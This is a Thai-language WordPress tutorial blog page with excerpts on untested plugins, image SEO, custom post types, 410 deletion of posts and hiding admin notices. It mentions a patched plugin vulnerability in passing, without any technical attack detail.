Blog

เราเป็นผู้เผยแพร่ความรู้เกี่ยว WordPress มาตั้งแต่ปี 2012 และเป็นผู้ให้บริการสอน WordPress ทั้งแบบตัวต่อตัว เป็นกลุ่มและแบบออนไลน์ เราจัดคอร์สทั้งในและนอกสถานที่ ในสถานที่เรียนที่ The rabbit hub ใกล้ BTS พญาไท นอกสถานที่ในแนวที่รถไฟฟ้าไปถึง การเรียนแบบออนไลน์เป็นการเรียนแบบตัวต่อตัวผู้เรียนสามารถเรียนจากที่ไหนก็ได้

หากคุณเพิ่งเริ่มต้นแนะนำให้อ่านบทความนี้ก่อนจะสอนตั้งแต่การจดโดเมนเนม การเลือกโฮสต์ การติดตั้ง ความรู้พื้นฐานเกี่ยวกับธีมและปลั๊กอิน และองค์ประกอบพื้นฐานของ WordPress เรื่องเฉพาะเจาะจงและเรื่องทางเทคนิคคุณสามารถอ่านเพิ่มเติมจากหัวข้อต่างๆใน blog นี้

ควรลงปลั๊กอินที่ยังไม่ได้ทดสอบกับ WordPress เวอร์ชันปัจจุบันหรือไม่

ควรลงปลั๊กอินที่ยังไม่ได้ทดสอบกับ WordPress เวอร์ชันปัจจุบันหรือไม่

หลายครั้งที่เราหาปลั๊กอินแล้วเจอที่น่าจะตรงกับความต้องการ แต่มาเจอคำเตือนทำนองว่าว่า “ยังไม่ได้ทดสอบกับ WordPress รุ่นล่าสุด” ก็เริ่มเกิดความลังเลว่าควรจะใช้ปลั๊กอินตัวนั้นไหม ในคลังแสงของ WordPress ซึ่งประกอบไปด้วย theme และ plugin ฟรีจำนวนมากมายมหาศาล มีคนเวาะเวียนมาสร้าง code เหล่านี้ให้เราใช้อยู่เรื่อยๆ มีทั้งมาแล้วได้รับความนิยมซึ่งมักจะตามมาด้วยเวอร์ชัน Pro และไม่ได้รับความนิยมและก็จะจบลงด้วยการหยุดพัฒนา ซึ่งทาง WordPress ก็รู้ดี สำหรับปลั๊กอินจะมีการเตือนผู้ที่จะลงรู้ว่าปลั๊กอินตัวนั้นอยู่ในสถานะใด ซึ่งเกณฑ์หลักๆที่ทาง WordPress ใช้ก็คือปลั๊กอินมีการอัพเดทบ่อยแค่ไหน ซึ่งถ้าภายใน 2 ปี ไม่มีการอัพเดทเลยก็จะเตือนให้เราทราบและมักจะแสดงปลั๊กอินตัวนั้นในลำดับล่างๆแม้ว่าจะจะมียอดผู้ติดตั้งมากก็ตาม อีกเกณฑ์หนึ่งก็คือดูว่าปลั๊กอินตัวนั้นอ้างว่าใช้ได้จนถึง WordPress เวอร์ชั่นอะไร ตามปกติเมื่อผู้พัฒนาส่งปลั๊กอินไปยังคลังของ WordPress ก็จะถูกตรวจสอบอย่างเข้มงวดก่อนที่จะปรากฏให้เห็น เช่นเป็นปลั๊กอินที่เป็นอันตรายต่อระบบของผู้ใช้หรือไม่ มีโครงสร้างเป็นไปตามเกณฑ์ที่ WordPress วางไว้หรือไม่ ถ้าผ่านก็จะปรากฏให้เห็น แต่ก็มีเกณฑ์ที่ไม่ซีเรียสอย่างเช่นเข้ากับเวอร์ชั่นของ WordPress ปัจจุบันหรือไม่ ซึ่ง WordPress ปล่อยให้เป็นการตัดสินใจของผู้ติดตั้ง ระบบของ WordPress จะอ่านจากไฟล์ readme ที่ผู้สร้างจะต้องส่งไปพร้อมกับ code ของปลั๊กอิน ตัวอย่างที่หัวจะมีรูปแบบดังนี้ ซึ่งเป็นการบอกว่าปลั๊กอินที่เขาสร้างทดสอบกับ WordPress เวอร์ขั่น 3.8 ขึ้นไป และทดสอบกับเวอร์ชั่น 5.0 ถัดจากนั้นก็จะเป็นคำบรรยายซึ่งจะปรากฎเมื่อคลิกที่ More Details ซึ่งหมายความว่าเป็นเพียงแค่คำเตือนเฉยๆว่าผู้สร้างปลั๊กอินทดสอบกับ WordPress เวอร์ชั่นอะไร ซึ่งจะมีปัญหากับเวอร์ชั่นที่เราใช้อยู่หรือไม่นั้นขึ้นอยู่กับรายละเอียดทางเทคนิค เช่นหากมีการใช้คำสั่งอะไรที่ทาง WordPress เวอร์ชั่นใหม่ยกเลิกไปแล้ว ปลั๊กอินตัวนั้นก็จะขึ้น error เป็นต้น ซึ่งตัวอย่างที่ยกมาก็มักจะไม่เกิดเพราะการยกเลิกคำสั่งอะไรในเวอร์ชั่นเก่าๆมักจะทำก็ต่อเมื่อเป็นเวอร์ชั่นที่ห่างกันมากๆเป็นเวลาหลายปีมากๆ แต่ถ้าหากปลั๊กอินตัวนั้นไม่มีคำเตือน Not tested with your wordpress version ก็หมายความเพียงว่าผู้สร้างปลั๊กอินได้อ้างว่าใช้ได้เท่านั้น ปลั๊กอินบางตัวทำงานเกี่ยวกับระบบอื่นที่อยู่นอกเหนือ WordPress เช่น ปลั๊กอินเกี่ยวกับ social media เช่น facebook หรือ instagram ซึ่งมักมีการเปลี่ยนแปลงอยู่เรื่อยๆ ซึ่งอาจเป็นสาเหตุหนึ่งที่ทำให้ปลั๊กอินทำงานผิดพลาดได้ กรณีศึกษา มีการพบช่องโหว่โดย WordPress Fench ซึ่งเป็นผู้ผลิตปลั๊กอินสำหรับป้องกันการแฮก Wordfence ได้พบช่องโหว่ของปลั๊กอิน Ad่Inserter ซึ่งเป็นปลั๊กอินที่ใช้จัดการโฆษณาที่รับความนิยมตัวหนึ่ง มียอดผู้ใช้กว่า 200,000 เว็บไซต์ และได้แจ้งเป็นการส่วนตัวให้ผู้ผลิตปลั๊กอินทราบ ช่องโหว่นี้เกิดจากการเขียนโปรแกรมโดยใช้คำสั่งที่ไม่เหมาะสมในการล็อกอินเข้าสู่ระบบซึ่งทำให้้ user ที่มีสถานะเพียง Subscriber สามารถยกระดับขึ้นมาจัดการ backend ได้ ช่องโหว่นี้พบได้ใน plugin เวอร์ชั่นที่ต่ำกว่า 2.4.19 ทางผู้พัฒนา plugin ได้อุดช่องโหว่อย่างรวดเร็วภายใน 1 วันและรีบประกาศให้ลูกค้าอัพเดท แต่ไม่มีรายงานว่ามีเว็บไซต์ใดได้รับความเสียหายจากช่องโหว่นี้

การทำ SEO รูปภาพ

การทำ SEO รูปภาพ

รูปหนึ่งรูปแทนคำพูดร้อยพัน เป็นประโยคอมตะที่ใช้กันมาตลาด ในโลกออนไลน์ การทำ seo กับรูปภาพและวีดีโอมีความสำคัญอย่างมาก และไม่แปลกที่ search engine จะให้ความสำคัญกับสื่อทั้งสองไม่ด้อยไปกว่าเนื้อหา หากคุณยังไม่มีพื้นฐานผมขอแนะนำให้อ่านบทความ WordPress กับ SEO ก่อน บทความนี้จะเจาะเฉพาะการ optimize รูปภาพ – ถึงแม้ว่า google จะยังไม่ฉลาดพอที่จะเข้าใจว่ารูปภาพที่เราใส่เข้าไปคือรูปอะไร 100% แต่ในแง่ของผู้อ่านมันเป็นตัวช่วยให้เนื้อหามีชีวิตชีวาและน่าอ่าน นอกจากการค้นหาข้อความแล้วคุณคงคุ้นเคยกับการค้นหารูปภาพใน google ซึ่งจะเป็นค้นทางหนึ่งที่ทำให้หน้าเว็บไซต์ของคุณไปอยู่ในผลของการค้นหา แล้วกูเกิ้ลอ่านภาพออกได้มากแค่ไหน? จริงๆเทคโนโลยี่การวิเคราะห์ภาพพัฒนาไปอย่างมากไม่ใช่เฉพาะกับ google หรือ search engine ต่างๆ ถ้าคุณเคยสังเกตแอพหลายค่ายสามารถอ่านภาพออกทั้งนั้นไม่ว่าจะเป็น Instagram หรือ Facebook ถึงแม้กูเกิ้ลจะไม่ใช่แอพแบบนั้นก็ตามแต่อย่างน้อยก็แยกออกว่านี่เป็นภาพวิวหรือภาพคน ภาพวาดหรือภาพเขียน ดังนั้นถ้าคุณคิดว่ากูเกิ้ลอ่านภาพไม่ออกล่ะก็คุณเข้าใจผิด เลือกรูปให้ตรงกับเนื้อหา เลือกรูปเป็น Featured Image ใน WordPress จะมี featured image สำหรับใส่รูปกำกับไปกับโพสต์หรือเพจ นี่เป็นด่านแรกของการใส่รูปให้กับบทความ คุณต้องเลือกรูปที่สื่อความหมายกับเนื้อหาโดยรวมมากที่สุดและต้องคิดไว้ก่อนว่า google อ่านรูปออก(จะมากน้อยแค่ไหนก็ช่าง) เทคนิคง่ายๆอย่างหนึ่งก็คือใส่ข้อความแบบพิมพ์ตัวอักษรลงไปในรูปภาพ(ไม่ใช่เขียนโดยเอาเมาส์ลาก) ซึ่งกรณีนี้กูเกิ้ลอ่านออกแน่นอนและการใส่ keyword เข้าไปในรูปที่กำกับ post/page อย่างพอเหมาะก็ให้ผลดีในบางกรณี ถ้าคุณอยากใส่ข้อความลงในรูปภาพให้ใส่สั้นๆเท่านั้น อย่าใส่คำบรรยายลงไปเพราะนั่นไม่ใช่หน้าที่ของ image คำบรรยายจะใส่ในส่วนอื่น ปกติธีมส่วนใหญ่จะวางรูปฟีเจอร์ไว้ด้านบนสุดของบทความซึ่งสอดคล้องกับมุมมองของเครื่องมือค้นหาที่จะให้ความสำคัญกับรูปลำดับต้นๆของบทความ เลือกรูปประกอบ paragraph นอกจากรูปกำกับบทความแล้ว ภายในบทความคุณก็ควรใส่รูปประกอบเข้าไปในเนื้อหา ถ้าคุณแทรกรูปไว้หลายรูป แต่ละรูปจะต้องสัมพันธ์กับเนื้อหาในพารากราฟที่มันกำกับอยู่จริงๆยกเว้นรูปตกแต่ง ในมุมมองของเครื่องมือค้นหา บทความที่มีรูปภาพประกอบตามสมควรเป็นบทความที่ดีเพราะแสดงความตั้งใจจะให้เนื้อหาที่ดีกับผู้อ่าน หลักง่ายๆคือเขียนพารากราฟและใส่รูปกำกับไปตามธรรมชาติ ย่อหน้าไหนควรมีรูปก็ใส่ ไม่จำเป็นต้องมีก็ไม่ต้องใส่ อย่าพยายาม optimize มากเกินไป จากนั้นให้เลือกรูปกำกับย่อหน้าที่คุณคิดว่ามีความสำคัญรองมาจากภาพฟีเจอร์แล้วใส่คำบรรยายที่มี keyword ลงไปอย่างเป็นธรรมชาติ วิธีการจะกล่าวถึงต่อไป เลือกเพียงรูปเดียวหรือสองรูปก็พอ รูปอื่นๆใส่คำบรรยายอย่างเดียวพออย่าใส่คีย์เวอร์ดอีก(จริงๆขึ้นกับความยาวของบทความด้วย) แหล่งรูปภาพประกอบบทความ ปัญหาหนักใจอย่างหนึ่งของคนเขียนบทความคือจะหาภาพที่ตรงกับความต้องการได้จากที่ไหน? วิธีที่ง่ายที่สุดคือค้นหาจาก image ของ google มีเรื่องที่ต้องระวังคือลิขสิทธิ์ ทางเลี่ยงก็คือเลือกภาพที่เป็น free image หรือ stock image สำหรับการเขียนบทความฉบับร่าง (draft) คุณอาจเลือกใช้ภาพเท่าที่หาได้วางลงไปก่อนเพื่อให้เห็นโครงร่างของบทความก่อนที่จะเผยแพร่ (publish) จากนั้นค่อยมาแก้ภาพให้เป็นเอกลักษณ์ทีหลัง แต่ถ้าหากคุณมีเวลา การเรียนโปรแกรมตกแต่งตัดต่อภาพประเภท Photoshop และ Illustrator ก็จะเป็นทางเลือกที่ดีในการช่วยให้ได้ภาพที่ไม่ไปละเมิดลิขสิทธิ์ใคร คุณอาจเลือกองค์ประกอบของภาพเช่น โลโก้, stock element เช่นไอคอนรูปต่างๆ หรือรูป background จากเว็บที่ให้ใช้รูปเหล่านี้ฟรี แล้วนำมาประกอบกันด้วยโปรแกรมทั้งสอง จับ element เล็กๆเหล่านี้วางลงบน background ใส่ข้อความเล็กน้อย แค่นี้คุณก็จะได้ภาพอย่างง่ายๆที่ไม่ต้องละเมิดลิขสิทธิ์ใครแล้ว สำหรับโปรแกรม Photoshop และ Illustrator มีแหล่งที่ให้คุณดาวน์โหลดรูปย่อยอยู่มากมาย รวมทั้งรูปภาพทั้งรูป เช่น freepik.com เป็นแหล่งรวมไฟล์ภาพ vector(.ai) ที่วาดด้วย Illustrator และไฟล์ภาพ(.psd) ที่วาดด้วย Photoshop ให้คุณดาวน์โหลดมาใช้ได้ฟรี คนที่ชำนาญโปรแกรมทั้งสองเพียงเล็กน้อยก็สามารถนำเอา element หลายๆตัวมาวางเป็นภาพประกอบเว็บโดยใช้เวลาไม่นานนัก เพื่อเป็นการตอบแทนซึ่งกันและกัน แหล่งรูปภาพฟรีเหล่านี้มักขอให้เราให้เครดิตเขา ซึ่งเราก็ควรจะทำและยังได้ outbound link ไปยังเว็บอื่นอย่างเป็นธรรมชาติด้วย อย่างเช่นเว็บ unsplash.com ที่ผมเอารูปมาทำเป็น background ของ featured image ของบทความนี้ผมก็ copy รหัส HTML ของเขามาใส่ เครดิต unsplash-logoJacob Morchเป็นรูปภาพที่เอามาดัดแปลงเป็น Featured Image อย่าลืมลดขนาด Featured Image ลง สิ่งแรกที่คุณจะต้องทำก่อนที่จะใส่รูปภาพนี้เข้าไปในเว็บก็คือลดขนาดของมันลงซะก่อน รูปที่ผมเอามานี้เป็น png ขนาดประมาณ 3MB คุณจะต้องลดมันให้เหลือประมาณ 1000px ในกรณีของผม ผมเลือก 700px ซึ่งเมื่อลด size จะเหลือ 139KB ซึ่งก็ยังมากเกินไป เอามาบีบอีกทีแล้วเหลือ 25.7KB ซึ่งถือว่าโอเค จากนั้นผมก็เอารูปนี้มาแต่งด้วย Photoshop โดยทำง่ายๆเพียงแต่ใส่ข้อความที่เป็น keyword ของบทความนี้ลงไป(ไม่จำเป็นต้องใช้เทคนิคนี้จะเห็นผลในบางกรณี แต่ไม่เสมอไป ต้องลองดู แล้วแต่คุณ) ทำแค่นี้คุณก็จะได้รูปประกอบโดยไม่ไปละเมิดลิขสิทธิ์ใคร หากคุณชอบรูปภาพประเภทภาพวาด ก็ต้องขยับไปใช้โปรแกรม…

เรียนรู้ Custom Post Type และการประยุกต์ใช้งาน

เรียนรู้ Custom Post Type และการประยุกต์ใช้งาน

Custom post type คือ โพสต์ที่มีช่องสำหรับเก็บข้อมูลพิเศษที่นอกเหนือจาก content ที่เรียกว่า custom fields คุณคุ้นเคยกับโพสต์ประเภทนี้โดยไม่รู้ตัวมาแล้วถ้าคุณใช้ WordPress มาสักระยะหนึ่ง ถ้าคุณเคยใช้ Contact Form 7 เวลาคุณจะสร้าง contact form ขึ้นมาสักอันหนึ่ง คุณกำลังใช้ custom post type หรือโพสต์พิเศษ บทความนี้จะสอนให้คุณรู้จักและทำความเข้าใจ Custom Post Type ในระดับพื้นฐานซึ่งเพียงพอให้คุณไปประยุกต์ใช้งานได้ เนื้อหาอยู่ในระดับกลาง คุณไม่จำเป็นต้องมีความรู้อะไรพิเศษ ขอเพียงแค่ผ่านการใช้ WordPress มาสักระยะหนึ่ง คุ้นเคยกับการเปลี่ยนธีมและการลงปลั๊กอิน หากคุณเพิ่งเริ่มต้นขอแนะนำให้อ่าน Word Press ขั้นพื้นฐาน ก่อน จุดเด่นของ WordPress นอกจากความง่ายในการใช้งานสำหรับยูสเซอร์แล้ว ความง่ายในการพัฒนา plugin (รวมทั้ง theme) สำหรับนักพัฒนาก็เป็นจุดเด่นอันหนึ่งของ WordPress และสำหรับนักพัฒนาแล้ว สิ่งหนึ่งที่ขาดไม่ได้คือโพสต์พิเศษ ซึ่งถือเป็นพระเอกตัวหนึ่งของ WordPress ซึ่งมีใช้ทั้งใน theme และ plugin หลายคนคงคุ้นเคยกับการเปลี่ยน theme ลง plugin หลายครั้ง คงเคยจะสังเกตเมนูทางซ้ายว่ามักจะมีเมนูใหม่เกิดขึ้น เมื่อคลิกไปแล้วก็มีลักษณะคล้ายกับเมนู Posts ที่เคยใช้ คือสามารถเขียนโพสต์ลงไปได้แต่มี field ให้ใส่ข้อมูลพิเศษที่เกี่ยวกับงานนั้นๆ สมมุติว่าเราอยากจะสร้างเว็บไซต์สำหรับขายหนังสือเก่า แทนที่เราจะไปเขียนโพสต์หนึ่งโพสต์ต่อหนังสือหนึ่งเล่ม เราก็สร้างโพสต์พิเศษสำหรับหนังสือขึ้นมาเป็นการเฉพาะแยกออกมาต่างหากจากเมนู Posts ธรรมดา และที่สำคัญเราสามารถเพิ่มเติม field อื่นๆที่เป็นลักษณะเฉพาะสำหรับหนังสือได้ เช่น ปีที่พิมพ์ ชื่อผู้แต่ง สำนักพิมพ์ เป็นต้น หรือหากคุณจะทำเว็บไซต์สำหรับโพสต์ตำแหน่งงาน เราก็สร้างโพสต์ที่มี field ที่เกี่ยวข้องเช่น วุฒิการศึกษา อายุ ประสบการณ์ สถานที่ทำงาน เป็นต้น field พิเศษที่ยกตัวอย่างมาข้างต้น WordPress จะเรียกว่าเป็น custom fields คุณอาจจะถามว่าแล้วจะต่างจากการใส่ข้อมูลทั้งหมดไว้ในตัวโพสต์(content)ตรงไหน คำตอบคือ Custom post type ช่วยให้สามารถใส่ข้อมูลได้เป็นระบบมากขึ้น คือแยกโพสต์สำหรับงานที่เฉพาะเจาะจงออกมา และแยกข้อมูลที่เป็นลักษณะเฉพาะของโพสต์แบบนั้นๆออกมาเป็นฟิลด์พิเศษ ช่วยให้นักออกแบบเว็บไซต์สามารถออกแบบเลย์เอาท์ได้ง่ายขึ้น และสวยงามมากกว่าการเอาข้อมูลทั้งหมดไปรวมอยู่ในตัวโพสต์ทั้งหมด คือนักออกแบบสามารถเลือกเอาข้อมูลใน custom fields ต่างๆไปวางในจุดต่างๆได้เหมือนกับการออกแบบหน้าหนังสือในสื่อพิมพ์ ซึ่งจะมีประโยชน์อย่างมากถ้าหากใช้เอดิเตอร์พิเศษที่สามารถจัดเลย์เอาท์ภายในโพสต์ได้อย่างเช่น King composer, Elementor เป็นต้น ช่วยให้สามารถพัฒนาโปรแกรมสำหรับค้นหาข้อมูลที่เกี่ยวกับโพสต์ได้ดีกว่า อย่างเช่น ถ้าเราสร้างโพสต์สำหรับหนังสือ แล้วมีฟิลด์สำหรับใส่ชื่อผู้แต่ง เราสามารถเขียนโปรแกรมให้ค้นหาหนังสือตามชื่อผู้แต่งจากฟิลด์เหล่านี้ได้ สำหรับยูสเซอร์ธรรมดาอาจจะตั้งคำถามว่าแล้วเราจะสร้างและใช้ประโยชน์จาก custom post type ได้อย่างไร อันนี้ต้องพึ่ง plugin ครับ WordPress มี plugin สำหรับการนี้อยู่หลายตัว ผมจะเริ่มจากการสร้างฟิลด์พิเศษก่อนซึ่ง WordPress สามารถสร้างกำกับไปกับโพสต์ได้โดยไม่ต้องใช้ปลั๊กอิน(แต่ก็ไม่สะดวกต้องใช้ปลั๊กอินอยู่ดี) จากนั้นก็จะกล่าวถึงการสร้างโพสต์พิเศษซึ่่งต้องทำโดยอาศัยการลงปลั๊กอินเพิ่มเติม สรุป Custom Post Type คือ โพสต์พิเศษที่แยกต่างหากออกมาจากโพสต์มาตรฐาน โดยมี filed พิเศษสำหรับใส่ข้อมูลเฉพาะ Custom Fields คือ ฟิลด์ภายใต้ custom post type นั้นๆ การสร้าง custom fields การสร้างฟิลด์พิเศษเป็นเครื่องมือพื้นฐานที่มีอยู่ใน WordPress มาตรฐานอยู่แล้วเพียงแต่ต้องเปิดให้มองเห็นก่อนเท่านั้นเอง แต่เป็นเครื่องมือที่ไม่สมบูรณ์เพราะใช้สำหรับเพิ่มฟิลด์ข้อมูลทางด้านหลังเว็บเท่านั้น เมื่อเพิ่มแล้วเราสามารถกรอกข้อมูลเพิ่มเติมกำกับไปกับโพสต์ได้ แต่การที่จะเอาฟิลด์ข้อมูลที่สร้างขึ้นมาแสดงที่หน้าเว็บไซต์จะต้องมีความรู้เกี่ยวกับการปรับแต่งธีมเพื่อแทรกรหัสสำหรับแสดงฟิลด์ข้อมูลหรือไม่ก็ต้องใช้ปลั๊กอิน แต่ในทางปฏิบัติเราจะไม่ใช้ฟังก์ชันอันนี้ของ WordPress เพราะครึ่งๆกลางๆ แต่ผมจะกล่าวถึงก่อนเพื่อให้มองเห็นหลักการ สร้างภายใน post มาตรฐาน ในแต่ละโพสต์ที่เราใช้อยู่ตามปกติจะมีช่องให้ใส่ฟิลด์เพิ่มอยู่ใต้กล่อง content ถ้าเป็น WordPress ก่อนหน้า 5.0 คุณต้องเปิด Screen options ด้านบน แล้วคลิก Enable Custom Fields ก่อน เวอร์ชั่นตำกว่า 5.0 ถ้าเป็น WordPress 5.0 ขึ้นไปซึ่งเอดิเตอร์มาตรฐานก็คือ Gutenberg ให้คุณคลิกที่จุดสามจุดที่มุมขวาบนแล้วเลือก Options แล้วคลิก Custom fields เวอร์ชั่น 5.0…

การลบโพสต์อย่างถาวรด้วย 410 content deleted

การลบโพสต์อย่างถาวรด้วย 410 content deleted

บางครั้งเราต้องการลบเพจหรือโพสต์ออกไป ซึ่งอาจจะเป็นเพราะปัญหาทางกฏหมายหรือมีเนื้อหาที่ไม่เหมาะสม หรือเป็นเพราะว่าเราเห็นว่ามันไม่มีประโยชน์อีกต่อไปแล้ว การลบออกไปเฉยๆน่าจะเป็นเรื่องธรรมดา แต่ก็ยังมีเทคนิคเล็กน้อยที่เราควรจะใส่ใจ การลบเพจหรือโพสต์ออกจากเว็บไซต์จะให้ผลเหมือนกับการเปลี่ยน url คือถ้าคุณเอาลิงค์ของเพจนั้นไปวางที่ใดแล้ว ถ้าคุณไม่ได้ทำการ redirect คนกดลิงค์เข้ามาก็จะเจอคำว่า 404 not found ซึ่งสำหรับผู้อ่านที่เป็นคนและ search engine จะตีความหมายเป็นสองอย่าง หนึ่งคุณตั้งใจเปลี่ยนเพจนั้นโดยไม่ได้ redirect สองคุณตั้งใจลบออกไปเลย กรณีแรกจะเกี่ยวกับรหัส 301 กรณีหลังถ้าคุณต้องการลบอย่างถาวรคุณอาจต้องเกี่ยวข้องกับรหัสที่ไม่คุ้นอย่างหนึ่งซึ่งก็คือ 410 content deleted จำเป็นต้องลบไหม ก่อนที่คุณจะลบเพจออกไป คุณจะต้องถามตัวเองให้แน่ใจก่อนว่าจำเป็นต้องลบเพจนั้นออกไปไหม ถ้าเป็นเหตุผลทางกฏหมายหรือเพราะเนื้อหาที่ไม่เหมาะสม การลบออกโดยถาวรก็เป็นสิ่งที่ควรทำ(หรือต้องทำ) แต่ถ้าเป็นเพราะเนื้อหาล้าสมัยและเพจนั้นพอที่จะติดอันดับใน search engine อยู่บ้าง การลบออกอาจจะไม่ใช่การตัดสินใจที่ดี หากคุณเห็นว่าเนื้อหาในเพจนั้นมันผิดพลาดหรือล้าสมัย คุณอาจเลือกทำดังนี้ ถ้าเนื้อหาผิดเพียงเล็กน้อยและมีเพียงสองสามจุด คุณอาจเลือกใช้การขีดฆ่าข้อความเดิมแล้วพิมพ์ข้อความใหม่แทนที่ เช่น “…เรามีเคล็ดลับการมีสุขภาพผมที่ดีมาบอก เพิ่มคอลลาเจนโปรตีนให้กับเส้นผมของคุณ”คุณอาจจะถามว่าแล้วทำไมไม่แก้ไขไปเลยหล่ะ ทำไมต้องขีดฆ่าด้วย คำตอบคือถ้าเป็นเพราะพิมพ์ผิดหรือแก้ไขสำนวนให้เข้าใจง่ายโดยความหมายยังเหมือนเดิมการแก้ไขธรรมดาก็ใช้ได้ แต่ถ้าเป็นการผิดที่ตัวเนื้อหาโดยตรงก็ควรจะใช้วิธีขีดฆ่าแล้วเขียนใหม่เพื่อที่คนที่เคยอ่านไปแล้วกลับมาอ่านใหม่จะได้เข้าใจได้ถูก ถ้าเนื้อหาล้าสมัยแต่ไม่มีที่ผิด คุณอาจเลือกการ rewrite หรือเขียนใหม่ภายใต้ไตเติ้ลเดิม แล้วเขียนโน๊ตกำกับไว้ที่ตอนต้นว่ามีการอัพเดทวันที่เท่าไหร่ การเขียนใหม่เป็นหนทางที่ดีกว่าในการจัดการกับเนื้อหาที่ล้าสมัย ซึ่งเหมาะสำหรับเนื้อหาที่เป็นวิขาการหรือหลักการ และเหมาะกับเพจหรือโพสต์ที่มียอดวิวอยู่สม่ำเสมอ ถ้าเพจนั้นเป็นเนื้อหาของสิ่งเก่าๆ เช่นโปรแกรมเวอร์ชั่นก่อนๆ หรือเหตุการณ์ในอดีต คุณไม่จำเป็นต้องลบอันนี้ผมคิดว่าทุกคนคงมี sense อยู่แล้ว เว็บไซต์ประเภท blog จะไม่ลบเรื่องเก่าๆออกถึงแม้ว่าจะล้าสมัย ถ้ามีเวอร์ชันใหม่หรือเหตุการณ์ใหม่ก็จะเขียนเพิ่มเข้าไป แล้วทำไมโพสต์เกี่ยวกับโปรแกรมเวอร์ชันเก่าๆหรือเว็บไซต์ข่าวนิตยสารถึงไม่ลบเรื่องที่เกี่ยวกับเหตุการณ์เก่าๆออก เหตุผลในทางจิตวิทยาก็คือมันทำให้เว็บไซต์นั้นแน่นไปด้วยข่าวสาร เหตุผลในทางเทคนิคคือมันทำให้เว็บไซต์นั้นได้คะแนนจาก search engine หรือมีผลต่อ seo โอเค คุณตัดสินใจลบดีกว่า ถ้านอกเหนือจากเหตุผลทางกฏหมายหรือทางสังคม คุณตัดสินใจว่าลบดีกว่า มันก็จะคล้ายกับการเปลี่ยน url ที่ผมเคยกล่าวมาแล้ว ต่างกันเพียงว่าโพสต์หรือเพจนั้นไม่มีแล้ว แต่สิ่งที่เหมือนกันก็คือคุณต้อง redirect เพจที่ลบนั้นไปยังเพจหรือโพสต์ใดสักอันหนึ่งก่อนหรือไม่ก็ปล่อยให้ขึ้น “404 not found” ใน WordPress เมื่อคุณลบโพสต์หรือเพจใดมันจะถูกส่งไปอยู่ใน trash เผื่อคุณเปลี่ยนใจเอากลับมาใช้ และถ้าคุณติดตั้งปลั๊กอินประเภท redirect บางตัวก็จะแจ้งเตือนว่าคุณทำการลบเพจหรือโพสต์นั้นออกไป คุณจะตัดสินใจอย่างไรกับการลบครั้งนั้น เช่นใน Yoast SEO จะแจ้งคุณว่า การ redirect (301) ไปยัง url อื่นเป็นเรื่องที่คุณเข้าใจดีอยู่แล้ว แต่มีอีกทางเลือกหนึ่งที่คุณอาจยังไม่คุ้นเคยคือ “410 content deleted” รหัสนี้คุณจะไม่เจอในหน้าเบราเซอร์เพราะเป็นรหัสภายในใช้สำหรับกำกับเพจที่เราต้องการลบถาวร ลบเพจแบบถาวรด้วย 410 content deleted เมื่อเราลบเพจใดเพจหนึ่งออก ครั้งต่อไปที่ robot ของ search engine เข้ามาอ่าน url ของเพจนั้นก็จะไม่เจอ content ใดๆ ซึ่งถ้าหากไม่มีการ redirect ไปยังเพจอื่นมันก็จะไม่รู้ว่าเพจนั้นถูกลบอย่างถาวรหรือลบชั่วคราวหรืออยู่ในช่วงของการเปลี่ยนคำใน url ซึ่งการทำให้ search engine ไม่เข้าใจเกี่ยวกับสถานะของเพจใดเพจหนึ่งเป็นสิ่งที่ไม่ควรให้เกิดขึ้น (แม้ว่า google จะเคยประกาศว่าเพจใดที่ขึ้น 404 หรือเจอเพจที่ถูกลบจะไม่มีผลต่ออันดับในการค้นหาของเว็บไซต์นั้นโดยรวม) เมื่อเพจหรือโพสต์ใดถูกลบแล้ว search engine เข้ามาอ่านแล้วไม่เจอก็จะรายงานเป็น error ใน search console ภายใต้เมนู Crawl->Crawl Errors ดังนั้นถ้าเราตัดสินใจว่าเราจะลบเพจใดอย่างถาวรเราควรแจ้ง search engine ไปเลยว่าเพจนั้นไม่มีอยู่ต่อไปแล้ว ซึ่งก็คือการส่งรหัส “410 content deleted” ผ่าน search console ว่าเพจนี้ถูกลบแล้ว ซึ่งก็เป็นการบอกให้ลบ index ออกจากระบบของ search engine ด้วย หรือคุณอาจจะร้องขอให้ google ลบ url ของเพจหรือโพสต์ที่คุณลบไปผ่าน Remove URLs ใน search console ก็ได้ กรณีสร้าง content ใหม่แต่ url เดิม มีบางครั้งที่คุณต้องการ rewrite เพจหรือโพสต์ใหม่โดยการไปสร้างและเขียน content ใหม่แต่ต้องการใช้ url เดิม ซึ่งในระบบของ WordPress โพสต์ใหม่ของคุณจะใช้ slug ใน url เดิมไม่ได้ คุณจะต้องใช้ slug อันใหม่…

ปิด hide wordpress notification

ปิด hide wordpress notification

ปัญหากวนใจอันหนึ่งของผู้ดูแลระบบ WordPress คือแถบแจ้งเตือนต่างๆซึ่งส่วนใหญ่มาจากธีมและปลั๊กอินที่ติดตั้งเข้าไป บางอย่างก็มีประโยชน์บางอย่างก็ดูเป็นการรบกวนเช่นธีมฟรีที่มีข้อเสนอให้อัพเกรดไปเป็นเวอร์ชันโปร ปัญหานี้แก้ได้ด้วยปลั๊กอินอีกนั่นแหละ สำหรับธีมหรือปลั๊กอินฟรีเราไม่ว่ากันเพราะคงต้องมีอะไรมาแลกกันบ้าง แต่ธีมหรือปลั๊กอินที่ซื้อบางตัวก็ชอบขึ้นเตือนเสนอโน้นเสนอนี่แบบเกินไป แถมไม่มีคำสั่งให้ปิดถาวรด้วย ซ้้ำร้ายไปกว่านั้นบางตัวเอาปุ่มปิดกากบาทที่มุมขวาออกเท่ากับเป็นการบีบบังคับให้เห็นตลอด ปัญหานี้ก็ต้องแก้ด้วยปลั๊กอิน เป็นการเอาปลั๊กอินไปปิดข้อความที่ปลั๊กอินอื่นแจ้งเตือน ข้อสำคัญปลั๊กอินนั้นต้องไม่แจ้งเตือนให้รำคาญซะเอง โดยหลักการ WordPress ยอมให้เราปิดการแจ้งเตือนจากปลั๊กอินทั้งหมดได้ยกเว้นการแจ้งเตือนการอัพเดท แต่การทำเช่นนี้ไม่ค่อยยืดหยุ่น ทางที่ดีคือปล่อยให้ขึ้นมาตามปกติแล้วเราเลือกว่าจะปิดตัวไหน ตัวไหนต้องการให้แจ้งเตือนอยู่ Disable admin notices individually ปลั๊กอินตัวนี้สามารถปิดข้อความแจ้งเตือนจากทั้งธีมและปลั๊กอินที่คุณติดตั้งเข้าไปรวมทั้งจากตัว WordPress เองแต่ไม่ได้ไปปิดการแจ้งเตือนเกี่ยวกับ error ของระบบ วิธีการใช้งานไม่มีอะไรมาก เพียงแต่จะมีให้คลิกว่าจะปิดข้อความแจ้งเตือน เพียงคุณคลิก Hide notification forever 